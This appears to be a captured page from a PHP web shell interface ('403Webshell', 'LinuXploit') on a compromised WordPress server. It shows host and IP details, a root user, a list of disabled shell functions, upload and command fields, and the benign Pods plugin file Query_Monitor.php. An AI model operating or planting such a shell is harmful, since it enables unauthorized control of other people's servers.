403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wp-content/plugins/pods/src/Pods/Integrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wp-content/plugins/pods/src/Pods/Integrations/Query_Monitor.php
<?php

namespace Pods\Integrations;

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

use Pods\Integration;
use Pods\Integrations\Query_Monitor\Collectors;
use Pods\Integrations\Query_Monitor\Outputters;
use QM_Collectors;

/**
 * Class Query_Monitor
 *
 * @since 3.2.7
 */
class Query_Monitor extends Integration {

	protected $hooks = [
		'action' => [
			'pods_debug_log_data'    => [
				[ Collectors\Debug::class, 'track_debug_data' ],
				10,
				4,
			],
			'wp_enqueue_scripts' => [
				[ __CLASS__, 'enqueue_assets' ],
			],
		],
		'filter' => [
			'pods_is_debug_logging_enabled' => [
				'__return_true',
			],
			'qm/outputter/html'             => [
				[ __CLASS__, 'register_outputters' ],
			],
			'query_monitor_conditionals'    => [
				[ __CLASS__, 'filter_query_monitor_conditionals' ],
			],
		],
	];

	public function post_hook() {
		QM_Collectors::add( new Collectors\Constants() );
		QM_Collectors::add( new Collectors\Debug() );
	}

	/**
	 * Handle enqueuing assets.
	 *
	 * @since 3.2.7
	 */
	public static function enqueue_assets(): void {
		wp_register_style( 'pods-query-monitor', PODS_URL . 'ui/styles/dist/pods-query-monitor.css', [ 'query-monitor' ], PODS_VERSION );
		wp_enqueue_style( 'pods-query-monitor' );
	}

	public static function is_active(): bool {
		return (
			class_exists( 'QM_Activation' )
			&& ( ! defined( 'QM_DISABLED' ) || ! QM_DISABLED )
			&& ( ! defined( 'QMX_DISABLED' ) || ! QMX_DISABLED )
		);
	}

	/**
	 * Register the custom Pods outputters.
	 *
	 * @since 3.2.7
	 *
	 * @param array $outputters The array of outputter instances.
	 *
	 * @return array The updated array of outputters.
	 */
	public static function register_outputters( array $outputters ): array {
		$outputters['pods-constants'] = new Outputters\Constants( QM_Collectors::get( 'pods-constants' ) );
		$outputters['pods-debug']     = new Outputters\Debug( QM_Collectors::get( 'pods-debug' ) );

		return $outputters;
	}

	/**
	 * Add Pods conditional functions to Query Monitor.
	 *
	 * @since 3.2.7
	 *
	 * @param array $conditionals The conditional functions for Query Monitor.
	 *
	 * @return array The updated conditional functions.
	 */
	public static function filter_query_monitor_conditionals( array $conditionals ): array {
		$conditionals[] = 'pods_developer';
		$conditionals[] = 'pods_tableless';
		$conditionals[] = 'pods_light';
		$conditionals[] = 'pods_strict';
		$conditionals[] = 'pods_allow_deprecated';
		$conditionals[] = 'pods_api_cache';
		$conditionals[] = 'pods_shortcode_allow_evaluate_tags';
		$conditionals[] = 'pods_session_auto_start';

		return $conditionals;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit